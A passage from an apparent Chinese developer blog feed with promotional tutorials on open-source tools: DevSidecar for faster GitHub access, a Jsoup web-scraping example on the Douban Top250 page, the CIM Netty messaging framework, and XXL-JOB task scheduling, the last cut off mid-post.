工具类库,通过静态方法封装,降低相关 API 的学习成本,提高工作效率,使 Java 拥有函数式语言般的优雅。</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202112/202112300916698.png"></p><blockquote><p>地址:<a href="https://github.com/dromara/hutool">https://github.com/dromara/hutool</a></p></blockquote><p>问君能有几多愁,开源项目解千愁,我们下期再见!</p>]]></content>
<tags>
<tag> 永恒君 </tag>
</tags>
</entry>
<entry>
<title>访问GitHub还在转圈圈吗?快上车!让你加速到飞起!</title>
<link href="/blog/2021/11/14/fang-wen-github-huan-zai-zhuan-quan-quan-ma-kuai-shang-che-rang-ni-jia-su-dao-fei-qi/"/>
<url>/blog/2021/11/14/fang-wen-github-huan-zai-zhuan-quan-quan-ma-kuai-shang-che-rang-ni-jia-su-dao-fei-qi/</url>
<content type="html"><![CDATA[<h1 id="访问GitHub还在转圈圈吗?快上车!让你加速到飞起!"><a href="#访问GitHub还在转圈圈吗?快上车!让你加速到飞起!" class="headerlink" title="访问GitHub还在转圈圈吗?快上车!让你加速到飞起!"></a>访问GitHub还在转圈圈吗?快上车!让你加速到飞起!</h1><p>大家好,我是机灵可爱的开源小妹!</p><p>相信每一个关注开源的朋友,都会遇到一个棘手的问题,那就是 Github 的访问不够稳定。Github 就像薛定谔的猫一样,点开时,才知道能不能访问。运气不好的时候,可能等很久也加载不出来页面。运气好的时候,可以访问网站,但是有的图片又打不开。这样的体验性很差,也失去了学习的兴趣。</p><p>既然要学习开源项目,第一步就要保证流畅访问 GitHub 是不是?那么今天小妹就给大家介绍一个好用的开源网络加速工具:DevSidecar 开发者边车。</p><p>开发者边车,这个名字很奇怪耶。项目主页的解释是:</p><blockquote><p>命名取自 service-mesh 的 service-sidecar,意为:为开发者打辅助的边车工具。</p></blockquote><p>好吧,那有了这个车车,你就可以更好的访问 GitHub、StackOverflow 等响应速度不够快的学习网站哦(^_-)</p><h2 id="特性"><a href="#特性" class="headerlink" title="特性"></a>特性</h2><p>下面介绍一下这个工具的特性以及实现原理。</p><h3 id="1-DNS-优选"><a href="#1-DNS-优选" class="headerlink" title="1.DNS 优选"></a>1.DNS 优选</h3><p>DevSidecar 会根据网络状况智能解析最佳域名 IP 地址,获取最佳网络速度,进而解决一些网站和库无法访问或访问速度慢的问题。</p><p>实现原理:DNS 解析域名下的 IP 地址,对每个 IP 进行测速,选择速度最快的 IP 地址进行请求。这是DevSidecar 最基本的功能,和我们以前常用的手动修改 hosts 文件是一个道理。</p><h3 id="2-请求拦截"><a href="#2-请求拦截" class="headerlink" title="2.请求拦截"></a>2.请求拦截</h3><p>对于所有 IP 地址访问都比较困难的网站,DevSidecar 可以将请求(比如访问 GitHub)代理到加速镜像站点。</p><p>实现原理:DevSidecar 在本地启动了一个代理服务器帮你访问目标网站。实际上就是利用了中间人攻击的原理,只是 DevSidecar 没有用它来干坏事,而是帮助开发者加速目标网站的访问。</p><p><img src="https://gitee.com/tinybye/forArticle/raw/master/xiu/20211107003602.jpg" alt="img"></p><h3 id="3-GitHub-加速"><a href="#3-GitHub-加速" class="headerlink" title="3. GitHub 加速"></a>3. GitHub 加速</h3><p>对于 GitHub,DevSidecar 可以实现直连加速、release 或 zip 下载加速、clone 加速以及图片加速等等的加速体验。</p><p>实现原理:通过修改 SNI 以及和上面一样的本地代理方式实现。</p><h3 id="4-npm-加速"><a href="#4-npm-加速" class="headerlink" title="4.npm 加速"></a>4.npm 加速</h3><p>支持开启 npm 代理,可以一键切换官方和淘宝的 npm registry。这样 Node.js 开发小伙伴也可以很方便的用 npm 命令安装各种模块了。</p><h2 id="上手指南"><a href="#上手指南" class="headerlink" title="上手指南"></a>上手指南</h2><p>DevSidecar 的安装过程和使用界面对新手都很友好。你可以根据自己使用的是 Windows 系统还是 macOS 系统,选择对应格式的 release 安装包。Windows 系统直接运行 DevSidecar-x.x.x.exe,macOS 系统直接使用 DevSidecar-x.x.x.dmg 安装即可。</p><p>第一次打开 DevSidecar 时,会提示安装证书。因为在实现第二个特性进行请求拦截时,是通过本地的代理服务器访问目标网站,所以需要安装和信任 CA 根证书。以 macOS 为例,如图,根据软件内的指示操作就可以啦。</p><p><img src="https://gitee.com/tinybye/forArticle/raw/master/xiu/20211107003619.jpg" alt="img"></p><p>安装完成后,点击首页正中间的这个又大又圆的按钮,就可以畅游 GitHub 啦。再点一下,就可以关闭全部功能。</p><p><img src="https://gitee.com/tinybye/forArticle/raw/master/xiu/20211107003630.jpg" alt="img"></p><h2 id="两个模式"><a href="#两个模式" class="headerlink" title="两个模式"></a>两个模式</h2><p>DevSidecar 为我们提供了两种模式:安全模式和默认模式。</p><p>默认模式支持请求拦截、通过修改 SNI 直连访问 GitHub。这个模式可以体验 DevSidecar 的全部特性。但是需要安装证书。DevSidecar 承诺不收集任何用户信息,且只要拦截配置里的替代网站不作恶,则不会有安全风险。</p><p>安全模式不需要安装证书,所以安全性更强,但是功能较弱,只能通过 DNS 优选与测速方式对访问 GitHub 进行加速。如果解析的 IP 网速都不够,依旧无法畅快访问 GitHub。</p><p>两个模式可以根据自己的喜好任意切换啦。</p><h2 id="效果"><a href="#效果" class="headerlink" title="效果"></a>效果</h2><p>让我们来看看 DevSidecar 使用前后的效果。</p><h3 id="GitHub-加速"><a href="#GitHub-加速" class="headerlink" title="GitHub 加速"></a>GitHub 加速</h3><p>就以我们耿耿于怀的显示图片为例,我们选择 DevSidecar 项目下的一个图片。未开启 DevSidecar 时,图片展示是这样的:</p><p><img src="https://gitee.com/tinybye/forArticle/raw/master/xiu/20211107003636.jpg" alt="img"></p><p>开启 DevSidecar 后,图片展示正常啦,看:</p><p><img src="https://gitee.com/tinybye/forArticle/raw/master/xiu/20211107003654.jpg" alt="img"></p><h3 id="StackOverflow-加速"><a href="#StackOverflow-加速" class="headerlink" title="StackOverflow 加速"></a>StackOverflow 加速</h3><p>StackOverflow 也是我们在遇到问题时,会去寻找解决方案的网站。平时搜索问题如果跳转到StackOverflow 里的链接,响应速度会非常慢。这次我做了开启 DevSidecar 前后的对比,开启前,10秒钟还没有打开主页,开启后不到四秒就打开了,虽然说没有达到秒开的程度,但是也很满足了。</p><p><img src="https://gitee.com/tinybye/forArticle/raw/master/xiu/20211107003703.jpg" alt="img"></p><p><img src="https://gitee.com/tinybye/forArticle/raw/master/xiu/20211107003744.jpg" alt="img"></p><h2 id="小结"><a href="#小结" class="headerlink" title="小结"></a>小结</h2><p>总的来说,DevSidecar 是一款体验良好,效果明显的 Github 加速工具,应当是开源学习过程中值得拥有的一款利器。</p><p>怎么样,看到小妹的安利,你是不是也有点心动啦,赶快去公众号后台回复【加速】,获取开源项目的地址吧(<em>^▽^</em>)</p><p>问君能有几多愁,开源项目解千愁,今天的小妹就陪你分享到这里,我们下期再见啦!</p>]]></content>
<tags>
<tag> 白小白 </tag>
</tags>
</entry>
<entry>
<title>谁说只有Python才能写爬虫了?Javaer转身甩出这个框架:给爷爬!</title>
<link href="/blog/2021/11/14/shui-shuo-zhi-you-python-cai-neng-xie-pa-chong-liao-javaer-zhuan-shen-shuai-chu-zhe-ge-kuang-jia-gei-ye-pa/"/>
<url>/blog/2021/11/14/shui-shuo-zhi-you-python-cai-neng-xie-pa-chong-liao-javaer-zhuan-shen-shuai-chu-zhe-ge-kuang-jia-gei-ye-pa/</url>
<content type="html"><![CDATA[<h1 id="谁说只有Python才能写爬虫了?Javaer转身甩出这个框架:给爷爬!"><a href="#谁说只有Python才能写爬虫了?Javaer转身甩出这个框架:给爷爬!" class="headerlink" title="谁说只有Python才能写爬虫了?Javaer转身甩出这个框架:给爷爬!"></a>谁说只有Python才能写爬虫了?Javaer转身甩出这个框架:给爷爬!</h1><p>大家好,我是爱撸码的开源大叔。</p><p>相信很多小伙伴对爬虫很感兴趣,遇到网上有用的信息,总想把他们批量保存下来。如果都手工的去复制粘贴,费时间费精力,而且还不符合程序员的作风。所以这时候写一个小爬虫,晚上睡觉时让他勤劳的给我们打工干活就好了。</p><p>不过一提到爬虫,就避不开 Python。只要一搜爬虫入门教程,满篇都是教你如何使用 Python 爬虫。</p><p><img src="https://gitee.com/tinybye/forArticle/raw/master/xiu/20211107011810.jpg" alt="img"></p><p>诚然,Python 简单、高效、易用以及丰富的库与爬虫框架,是新手在入门爬虫时的最佳选择。但是我们 Java 开发者就不配用 Java 写爬虫了吗?我就是想在工作之余简单的爬取一批页面,想使用<strong>熟悉的语言</strong>快速实现这个小功能,你还得让我去学个 Python?</p><p>作为一名爱撸码的老程序员,自然是认可多掌握些语言和技术,把路走宽这个道理的。但是如果自己熟悉的语言有一个<strong>好上手,开箱即用</strong>的爬虫框架,一解燃眉之急,是不是就可以在短时间内高效的完成自己的目标呢?</p><p>那么就分享给广大Java程序员一个好用的爬虫框架,Jsoup。</p><h2 id="快速入门"><a href="#快速入门" class="headerlink" title="快速入门"></a>快速入门</h2><h3 id="1-引入依赖"><a href="#1-引入依赖" class="headerlink" title="1.引入依赖"></a>1.引入依赖</h3><pre><code>&lt;dependency&gt; &lt;groupId&gt;org.jsoup&lt;/groupId&gt; &lt;artifactId&gt;jsoup&lt;/artifactId&gt; &lt;version&gt;1.14.3&lt;/version&gt; &lt;!-- or latest version --&gt;&lt;/dependency&gt;</code></pre><h3 id="2-一行代码返回页面"><a href="#2-一行代码返回页面" class="headerlink" title="2.一行代码返回页面"></a>2.一行代码返回页面</h3><p>只需要一行代码即可对一个链接发起请求,返回页面数据。</p><pre><code>Document document = Jsoup.connect(url).get();</code></pre><p>好了,你已经掌握了 Jsoup 的使用方式,这篇文章就分享到这里了,我们下期再见……</p><p>开个玩笑哈,确实,使用 Jsoup 请求一个页面,就是这么简单。但是我们还要对页面信息进行解析,从一个复杂的 HTML 文档中找到我们要信息。先来简单的介绍一下 Jsoup 常见的类以及 api,方便后续的介绍。</p><h2 id="常见类与api"><a href="#常见类与api" class="headerlink" title="常见类与api"></a>常见类与api</h2><h3 id="1-常见的类"><a href="#1-常见的类" class="headerlink" title="1.常见的类"></a>1.常见的类</h3><p>Jsoup 常见的几个类,都是对应 HTML DOM 中的概念。通过对以下几个类的操作,就可以从一个 HTML 页面获取自己想要的数据啦。</p><ol><li>Document 类,对应 HTML DOM Document 对象</li><li>Element 类,对应 HTML 的 DOM 元素,比如 <p>、<div>、<a> 等</li><li>Attribute,对应 HTML 中的属性,比如一个 div 元素里的 class、id 等</li></ol><h3 id="2-常用api"><a href="#2-常用api" class="headerlink" title="2.常用api"></a>2.常用api</h3><p>首先,介绍一下获取 DOM 元素的 api,都是属于 Element 类中定义的方法。</p><ol><li>getElementById(String id):通过 id 获取元素,非常精准。</li><li>getElementsByTag(String tag):根据标签名获取元素的集合,比如:</li></ol><pre><code>document.getElementsByTag(&quot;p&quot;)</code></pre><p>会获取到所有 <p> 标签的元素,方便我们进一步从中抓取想要的文本。</p><ol><li>getElementsByClass(String className):根据 class 名称获取元素的集合,比如:</li></ol><pre><code>document.getElementsByClass(&quot;item&quot;)</code></pre><p>会获取所有 class 为 item 的元素。一般页面的列表项会指定相同的 class,所以这个方法方便我们直接获取指定的列表内容。</p><ol><li>getElementsByAttribute(String key):根据属性名称获取元素的集合,比如:</li></ol><pre><code>document.getElementsByAttribute(&quot;href&quot;)</code></pre><p>这样我们就可以获取全部有链接属性的元素,方便去跳转爬取该页面涉及到的其他页面。</p><p>获取到 DOM 元素,接下来我们还需要获取这个元素的属性、文本等数据。</p><ol><li>attr(String key):获取元素中某属性的值。比如:element.attr(“class”),可以获取当前元素 class 属性的值。</li><li>attributes():获取元素的所有属性。我们可以对全部属性进行遍历或者其他处理。</li><li>id()、className() 、classNames():获取元素的 id 值、class 值以及全部 class 值的集合。这几个方法的底层都是 attr(String key) 方法,实际上是方便我们使用的快速实现。</li><li>text():获取元素的全部文本内容。我们不用手动遍历当前元素的所有子节点去获取文本信息,这个方法会直接把所有文本拼接到一起并返回。</li></ol><h2 id="举个例子"><a href="#举个例子" class="headerlink" title="举个例子"></a>举个例子</h2><p>好了,说了这么多,是时候实战一波了。我们以爬虫入门经典案例,豆瓣电影 Top250 页面为例,来看看 Jsoup 具体是怎么使用的。</p><p><img src="https://gitee.com/tinybye/forArticle/raw/master/xiu/20211107011819.jpg" alt="img"></p><p>因为只是个示例,所以我们的目标简单一些,爬取这一页电影名称即可。</p><p>首先,我们直接 F12 看一下页面的源码,会发现影片名称是一个 class 为 title 的 <span> 标签,如图:</p><p><img src="https://gitee.com/tinybye/forArticle/raw/master/xiu/20211107011825.jpg" alt="img"></p><p>而电影的名称有多个,其他的名称会用 / 符号来分割。所以思路来了,只要我们获取到这个页面所有 class 值为 title 的元素,过滤掉带有 / 的文本,就可以啦。代码如下:</p><pre><code>public static void printMovieName() throws IOException &#123; // 豆瓣电影Top250 String url = &quot;https://movie.douban.com/top250&quot;; // 获取页面 Document document = Jsoup.connect(url).get(); // 根据class获取元素集合 Elements titles = document.getElementsByClass(&quot;title&quot;); int index = 1; for (Element title : titles) &#123; String text = title.text(); // 过滤掉电影的其他名称 if (!text.contains(&quot;/&quot;)) &#123; System.out.println(&quot;No.&quot; + index + &quot; &quot; + text); index++; &#125; &#125;&#125;</code></pre><p>输出结果如下:</p><p><img src="https://gitee.com/tinybye/forArticle/raw/master/xiu/20211107011839.jpg" alt="img"></p><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>怎么样,用 Jsoup 写爬虫是不是非常的简单?当然,在这个简单的例子的基础上,我们可以实现更复杂的逻辑,比如:</p><ul><li>获取分页链接继续爬取后续页面的内容;</li><li>爬取影片的完整信息,并保存到数据库中;</li><li>将影片的图片保存到本地或者上传到图床。</li></ul><p>这些逻辑对于一个熟练掌握 Java 语言的程序员来说,都是很容易实现的事情。这也是为什么,我认为 Java 程序员使用自己的本职语言来开发爬虫,效率会更高一些。因为日常的搬砖操作可以让我们更熟练的处理爬取到的数据。爬虫只是获取数据的一个方式,对于数据的处理和使用也是非常重要的一部分。</p><p>温馨提示:我们要<strong>合法使用爬虫</strong>哦。通过网站域名 +robots.txt 来查看爬虫协议,判断是否可以使用爬虫爬取信息,比如:<a href="https://www.douban.com/robots.txt%E3%80%82%E5%90%8C%E6%97%B6%EF%BC%8C%E5%88%87%E8%AE%B0**%E4%B8%8D%E8%A6%81%E7%88%AC%E5%8F%96%E6%95%8F%E6%84%9F%E4%BF%A1%E6%81%AF**%EF%BC%8C%E5%B9%B6%E8%BF%9B%E8%A1%8C%E7%89%9F%E5%88%A9%EF%BC%81">https://www.douban.com/robots.txt。同时,切记**不要爬取敏感信息**,并进行牟利!</a></p><p>好啦,今天大叔的分享就到这里了,在公众号后台回复【爬虫】即可获取项目源码地址。看完文章后,趁着搬砖摸鱼之时,赶快试试吧。</p>]]></content>
<tags>
<tag> 白小白 </tag>
</tags>
</entry>
<entry>
<title>基于 Netty 的即时消息通信框架,给你带来全新的沉浸式体验</title>
<link href="/blog/2021/11/04/de-ji-shi-xiao-xi-tong-xin-kuang-jia-gei-ni-dai-lai-quan-xin-de-chen-jin-shi-ti-yan/"/>
<url>/blog/2021/11/04/de-ji-shi-xiao-xi-tong-xin-kuang-jia-gei-ni-dai-lai-quan-xin-de-chen-jin-shi-ti-yan/</url>
<content type="html"><![CDATA[<h2 id="一、背景"><a href="#一、背景" class="headerlink" title="一、背景"></a>一、背景</h2><p>大家好,我是爱撸码的开源大叔!前两天开源小妹写了篇文章,反响还不错,就开始跟我炫耀了,那我必是不能落后的。<br><img src="https://gitee.com/dmg0020/draw-bed/raw/master/imgs/%E8%81%8A%E5%A4%A93.jpg"></p><p>目前公司项目有许多需要发送即时消息的场景,之前一直采用的是<strong>传统的websocket</strong>连接,但是它存在<strong>掉线严重,不可重连,不支持高并发等缺点</strong>,在这样的背景下,急需一款成熟稳定的即时通讯系统。此时发现了一个优秀的<strong>开源框架–CIM</strong>。CIM是一套<strong>基于Netty</strong>框架下的推送系统,目前CIM支持<strong>websocket,android,ios,桌面应用,系统应用等</strong>多端接入支持,<strong>可应用于移动应用,物联网,智能家居,嵌入式开发,桌面应用,WEB应用以及后台系统</strong>之间的即时消服务。</br><br>下面我来给大家介绍一下这个好用的开源框架吧。(写这篇文章还有一个目的:开源大叔不能输给开源小妹!)<br><img src="https://img.soogif.com/sfBdTxAuyVhlJmPoWUZ6ZtyF7Bfa8lji.gif?imageMogr2/thumbnail/!78.117914683103p&scope=mdnice"></p><h2 id="二、快速入门"><a href="#二、快速入门" class="headerlink" title="二、快速入门"></a>二、快速入门</h2><ol><li><p>下载源代码,原代码地址为:。。。(我也跟小妹学一手卖关子),下载完成之后直接使用maven编译即可。</p></li><li><p>源代码目录结构如下:</p><p><img src="https://gitee.com/dmg0020/draw-bed/raw/master/imgs/image-20210930093223173.png"></p></li><li><p>无需进行数据库的初始化,若想要将用户信息保存持久化可以将CIMSession用户连接信息保存到Redis或者MySQL中,本次示例不做数据库相关操作。</p><p><img src="https://gitee.com/dmg0020/draw-bed/raw/master/imgs/image-20210930093550581.png"></p></li><li><p>部署CIM服务端项目</p><p><strong>第一步:修改配置文件</strong></p><p>由于无需连接数据库,因此没有什么需要修改的地方</p><p><img src="https://gitee.com/dmg0020/draw-bed/raw/master/imgs/image-20210930093923102.png"></p><p><strong>第二步:直接启动项目</strong></p><p>启动还是非常便捷的,没有繁琐的配置</p><p>可以看到websocket监听的端口为34566,这也是一会我们要使用的端口。</p><p><img src="https://gitee.com/dmg0020/draw-bed/raw/master/imgs/image-20210930094246581.png"></p><p><strong>第三步:打开管理界面</strong></p><p>界面地址为:<a href="http://127.0.0.1:8080/">http://127.0.0.1:8080/</a></p><p><img src="https://gitee.com/dmg0020/draw-bed/raw/master/imgs/image-20210930100059169.png"></p><p>因为我们还没有登录客户端,因此这里还没有在线用户,稍后我们登录客户端后再来查看。</p><p>至此CIM服务端已部署启动完成。</p></li><li><p>CIM的web客户端启动</p><p><strong>第一步:找到客户端实例项目</strong></p><p>我们本次主要演示web客户端通过websocket的连接</p><p><img src="https://gitee.com/dmg0020/draw-bed/raw/master/imgs/image-20210930094706077.png"></p><p><strong>第二步:修改配置文件</strong></p><p>web端的配置文件主要在:cim.web.sdk.js</p><p><img src="https://gitee.com/dmg0020/draw-bed/raw/master/imgs/image-20210930095458130.png"></p><p><strong>第三步:启动web客户端</strong></p><p>启动很简单,直接打开index.html文件即可</p><p><img src="https://gitee.com/dmg0020/draw-bed/raw/master/imgs/image-20210930095620395.png"></p><p>效果如下</p><p><img src="https://gitee.com/dmg0020/draw-bed/raw/master/imgs/image-20210930095825819.png"></p><p><strong>第四步:登录CIM</strong></p><p>我们任意输入一个用户名,点击“登录”即可</p><p><img src="https://gitee.com/dmg0020/draw-bed/raw/master/imgs/image-20210930095918715.png"></p><p>登录成功</p><p><img src="https://gitee.com/dmg0020/draw-bed/raw/master/imgs/image-20210930095942486.png"></p><p>我们再来看看服务端的在线用户列表,已经有我们登录的用户,点击“发送消息”按钮即可发送消息</p><p><img src="https://gitee.com/dmg0020/draw-bed/raw/master/imgs/image-20210930100019928.png"></p></li><li><p>发送消息</p><p><img src="https://gitee.com/dmg0020/draw-bed/raw/master/imgs/image-20210930100352794.png"></p><p>至此,CIM的快速入门已经完成。<br><img src="https://img.soogif.com/DLT1qXHB5hxrNHDKrRdQX5NKrpW32Pqv.gif?scope=mdnice"></p></li></ol><h2 id="三、大致流程"><a href="#三、大致流程" class="headerlink" title="三、大致流程"></a>三、大致流程</h2><ol><li>首先启动服务器端项目,此时也相当于启动了websocket的服务端,等待用户连接;</li><li>打开web客户端页面,登录用户,连接websocket;</li><li>打开控制台页面,选择已登录的用户,发送消息即可。</li></ol><p>可以看到,系统的整体流程并不复杂,还是很容易理解和上手的。<br><img src="https://img.soogif.com/ndxvRXimF19V0RfpbppN7gGV9NeqaESj.gif?scope=mdnice"></p><h2 id="四、框架优势"><a href="#四、框架优势" class="headerlink" title="四、框架优势"></a>四、框架优势</h2><ol><li>该框架是基于主流的<strong>Netty框架</strong>(Netty的强大已无需多言了),能够<strong>保证稳定高效的连接,而且断线重连机制支持的也很好</strong>。</li><li><strong>易于扩展和使用,并完美支持集群部署支持海量链接</strong>,目前支持websocket,android,ios,桌面应用,系统应用等多端接入持,可应用于移动应用,物联网,智能家居,嵌入式开发,桌面应用,WEB应用即时消服务。</li><li>用时7年 基于CIM的项目已经运行在全国各个地方,包括上市公司,各地政务系统,警务系统等服务于上百家客户。</li><li>该框架是基于当前主流的<strong>springboot</strong>,并且<strong>全面拥抱protobuf,替换json序列化方式,更加高效</strong>。</li><li>从我自身使用体验来讲,该框架已经很好的解决了我司项目之前<strong>掉线严重,不可重连,不支持高并发等缺点</strong>。</li></ol><h2 id="五、总结"><a href="#五、总结" class="headerlink" title="五、总结"></a>五、总结</h2><p>目前该框架已集成到我司的项目当中,而且已经稳定运行一段时间,很好的解决了之前消息推送的痛点,得到了其他同事的一致好评。</p><p>另外,了解该项目之前建议先了解下<strong>Netty的相关原理</strong>,能够方便你对于该项目源码的改编,以适用你自己项目的需求。我也将之前在公司给同事培训<strong>Netty的脑图</strong>整理了一下,需要的小伙伴可以去下载一下。(回复的关键字稍后会在文末贴出)</p><p><img src="https://gitee.com/dmg0020/draw-bed/raw/master/imgs/20211101154602.png"></p><p>对于用户信息的持久化,可以使用Redis数据库,方便又高效。</p><p>最后,假如你当前也有即时消息推送相关的需求,这个完善的消息推送框架还是很值得你去考虑的。</p><p>后台回复【CIM】获得开源项目相关信息和Netty脑图下载地址~</p><p>问君能有几多愁,开源项目解千愁,我们下期再见!</p>]]></content>
<tags>
<tag> 西二旗乔治 </tag>
</tags>
</entry>
<entry>
<title>任务调度平台只会Quartz?让本小妹来带你飞~</title>
<link href="/blog/2021/11/02/ren-wu-diao-du-ping-tai-zhi-hui-quartz-rang-ben-xiao-mei-lai-dai-ni-fei/"/>
<url>/blog/2021/11/02/ren-wu-diao-du-ping-tai-zhi-hui-quartz-rang-ben-xiao-mei-lai-dai-ni-fei/</url>
<content type="html"><![CDATA[<p>大家好,我是人见人爱,花见花开的开源小妹。今天我来给大家分享一个超好用的分布式任务调度平台:XXL-JOB。</p><h2 id="一、背景"><a href="#一、背景" class="headerlink" title="一、背景"></a>一、背景</h2><p>事情的起因是这样滴:最近公司项目需要改革,找出之前项目的痛点,然后对症下药。本来我以为没有本小妹什么事呢,结果。。。不说了,直接上图。<br><img src="https://gitee.com/dmg0020/draw-bed/raw/master/imgs/%E8%81%8A%E5%A4%A91.png"><br><img src="https://gitee.com/dmg0020/draw-bed/raw/master/imgs/%E8%81%8A%E5%A4%A92.png"><br>你们也看到了,这篇文章是怎么来的啦,哈哈。<br><img src="https://img.soogif.com/wykyQaSFfHdsiMRUZirAaBnpJbsnSla1.JPEG?scope=mdnice"></p><h2 id="二、和Quartz的对比"><a href="#二、和Quartz的对比" class="headerlink" title="二、和Quartz的对比"></a>二、和Quartz的对比</h2><p>既然我们公司之前用的是Quartz,但是现在要换了它,那么我们就来看看Quartz哪里不好,同时也看看XXL-JOB好在哪里。</p><h3 id="Quartz的不足"><a href="#Quartz的不足" class="headerlink" title="Quartz的不足"></a>Quartz的不足</h3><ul><li>问题一:调用API的的方式操作任务,不人性化;</li><li>问题二:需要持久化业务QuartzJobBean到底层数据表中,系统侵入性相当严重;</li><li>问题三:调度逻辑和QuartzJobBean耦合在同一个项目中,这将导致一个问题,在调度任务数量逐渐增多,同时调度任务逻辑逐渐加重的情况加,此时调度系统的性能将大大受限于业务;</li><li>问题四:quartz底层以“抢占式”获取DB锁并由抢占成功节点负责运行任务,会导致节点负载悬殊非常大;而XXL-JOB通过执行器实现“协同分配式”运行任务,充分发挥集群优势,负载各节点均衡。</li></ul><h3 id="XXL-JOB的特性"><a href="#XXL-JOB的特性" class="headerlink" title="XXL-JOB的特性"></a>XXL-JOB的特性</h3><ul><li><p>简单:支持通过Web页面对任务进行CRUD操作,操作简单,一分钟上手</p></li><li><p>动态:支持动态修改任务状态、启动/停止任务,以及终止运行中任务,即时生效</p></li><li><p>调度中心HA(中心式):调度采用中心式设计,“调度中心”基于集群Quartz实现并支持集群部署,可保证调度中心HA<br>执行器HA(分布式):任务分布式执行,任务”执行器”支持集群部署,可保证任务执行HA</p></li><li><p>注册中心: 执行器会周期性自动注册任务, 调度中心将会自动发现注册的任务并触发执行。同时,也支持手动录入执行器地址</p></li><li><p>弹性扩容缩容:一旦有新执行器机器上线或者下线,下次调度时将会重新分配任务</p></li><li><p>路由策略:执行器集群部署时提供丰富的路由策略,包括:第一个、最后一个、轮询、随机、一致性HASH、最不经常使用、最近最久未使用、故障转移、忙碌转移等</p></li><li><p>故障转移:任务路由策略选择”故障转移”情况下,如果执行器集群中某一台机器故障,将会自动Failover切换到一台正常的执行器发送调度请求。</p></li><li><p>阻塞处理策略:调度过于密集执行器来不及处理时的处理策略,策略包括:单机串行(默认)、丢弃后续调度、覆盖之前调度</p></li><li><p>任务超时控制:支持自定义任务超时时间,任务运行超时将会主动中断任务</p></li><li><p>任务失败重试:支持自定义任务失败重试次数,当任务失败时将会按照预设的失败重试次数主动进行重试;其中分片任务支持分片粒度的失败重试</p></li><li><p>任务失败告警;默认提供邮件方式失败告警,同时预留扩展接口,可方便的扩展短信、钉钉等告警方式</p></li><li><p>分片广播任务:执行器集群部署时,任务路由策略选择”分片广播”情况下,一次任务调度将会广播触发集群中所有执行器执行一次任务,可根据分片参数开发分片任务</p><p>…</br><br>XXL-JOB的优点有点太多了呢,哈哈,我是不是有点喜新厌旧了呢。<br><img src="https://img.soogif.com/YqJpHIu4ZY8noL1SLsiZL856Ko82zMDb.gif?scope=mdnice"></p></li></ul><h2 id="三、快速入门"><a href="#三、快速入门" class="headerlink" title="三、快速入门"></a>三、快速入门</h2><p>看到这么多优点,你们是不是也优点迫不及待了呢?不要急,不要慌,待本小妹慢慢带你们入门。</p><ol><li><p>下载项目,源代码地址为:略略略,容本小妹卖个关子,一会告诉你们源码地址,下载完成之后直接使用maven进行编译即可;</p></li><li><p>源代码结构如下:</p><p><img src="https://gitee.com/dmg0020/draw-bed/raw/master/imgs/image-20210929163310542.png"><br>快夸我贴心,源码都是干嘛的我都给标出来了。<br><img src="https://img.soogif.com/cOs793miwhMdEwtxwiMNrRcQ1OuTfS22.gif?scope=mdnice"></p></li><li><p>初始化数据库,直接执行自带的数据库脚本即可,就不用本小妹多说啦</p><p><img src="https://gitee.com/dmg0020/draw-bed/raw/master/imgs/image-20210929163416893.png"></p></li><li><p>部署任务调度中心项目xxl-job-admin</p><p>该项目的作用是:统一管理任务调度平台上调度任务,负责触发调度执行,并且提供任务管理平台。</p><p><strong>修改配置文件:</strong> <strong>xxl-job-admin/src/main/resources/application.properties</strong>,一般修改下数据库连接地址即可。</p><p><img src="https://gitee.com/dmg0020/draw-bed/raw/master/imgs/image-20210929164036401.png"></p><p><strong>部署启动项目</strong>:以上配置正确,直接编译启动项目即可</p><p><img src="https://gitee.com/dmg0020/draw-bed/raw/master/imgs/image-20210929164224850.png"></p><p>项目访问地址为:<a href="http://localhost:9080/xxl-job-admin">http://localhost:9080/xxl-job-admin</a> (由于我这里8080端口被占用了,因此我换成了8090端口,嘻嘻)</p><p><strong>登录系统:</strong> 用户名密码为:admin/123456</p><p><strong>首页图如下</strong>:</p><p><img src="https://gitee.com/dmg0020/draw-bed/raw/master/imgs/image-20210928172116765.png"></p><p>至此,“任务调度中心管理系统”已部署成功。还不要高兴的太早哦,这刚刚完成了一半。<br><img src="https://img.soogif.com/bTl5tb7rOVq7vpyns5NsQgoy2BO6l96X.gif?scope=mdnice"></p></li></ol><ol start="5"><li><p>部署执行器项目</p><p>可以使用作者提供的实例项目:</p><p><img src="https://gitee.com/dmg0020/draw-bed/raw/master/imgs/image-20210929164932016.png"></p><p>也可以集成到现有的项目中。这里我要集成到自己已有的服务中。(又得夸我一波了)<br><img src="https://img.soogif.com/j3QkRfYlI1zJ8M3IRE5e0GidA6vYnR5i.gif?scope=mdnice"></p></li></ol><p><strong>步骤一:引入依赖</strong></p><pre><code>&lt;dependency&gt; &lt;groupId&gt;com.xuxueli&lt;/groupId&gt; &lt;artifactId&gt;xxl-job-core&lt;/artifactId&gt; &lt;version&gt;2.3.0&lt;/version&gt;&lt;/dependency&gt;</code></pre><p><strong>步骤二:添加执行器的配置信息</strong></p><p>可以copy【xxl-job-executor-sample-springboot】项目中的配置文件,放到自己项目下,做一些相应的修改</p><p><img src="https://gitee.com/dmg0020/draw-bed/raw/master/imgs/image-20210929170351523.png"></p><p><strong>步骤三:执行器组件配置</strong></p><p>可以copy示例代码中的配置文件到自己项目中,配置位置为:</p><p><img src="https://gitee.com/dmg0020/draw-bed/raw/master/imgs/image-20210929171305191.png"></p><p><strong>步骤四:执行执行器项目</strong></p><p>上述配置完成之后,可以直接执行项目的主启动类,以启动执行器。</p><ol start="6"><li><p>开发定时任务</p><p><strong>步骤一:代码的编写</strong></p><p><img src="https://gitee.com/dmg0020/draw-bed/raw/master/imgs/image-20210929171519016.png"></p><p><strong>步骤二:在任务调度中心添加任务</strong></p><p><img src="https://gitee.com/dmg0020/draw-bed/raw/master/imgs/image-20210929171855656.png"></p><p>保存后效果如下:</p><p><img src="https://gitee.com/dmg0020/draw-bed/raw/master/imgs/image-20210929171953171.png"></p></li><li><p>启动“调度中心”和“定时器”执行任务</p><p><img src="https://gitee.com/dmg0020/draw-bed/raw/master/imgs/image-20210929172217391.png"></p><p>至此,XXL-JOB的快速入门已经完成。<br><img src="https://img.soogif.com/H2sjgGLYG1YhzlM88taFw4ggmwUgwW0Y.gif?scope=mdnice"></p></li></ol><h2 id="四、效果图展示"><a href="#四、效果图展示" class="headerlink" title="四、效果图展示"></a>四、效果图展示</h2><p>我还贴心的为大家准备了系统的截图哦~~</p><h3 